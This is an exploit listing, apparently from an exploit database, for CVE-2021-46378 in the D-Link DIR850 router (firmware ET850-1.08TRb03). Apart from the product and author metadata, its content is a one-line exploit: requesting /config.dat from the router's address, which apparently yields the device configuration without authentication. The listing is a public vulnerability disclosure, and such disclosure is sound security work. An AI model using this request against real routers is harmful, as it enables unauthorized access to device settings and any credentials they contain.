DLINK DIR850 - Insecure Access Control

# Exploit Title: DLINK DIR850 - Insecure Access Control
# Product: Dlink
# Model: DIR850
# Date: 14/1/2022
# CVE : CVE-2021-46378
# Exploit Author: Ahmed Alroky
# Hardware version: b1
# Firmware version: ET850-1.08TRb03
# Vendor home page: https://www.dlink.com/

# Exploit : 
Visit http://<IP Address>/config.dat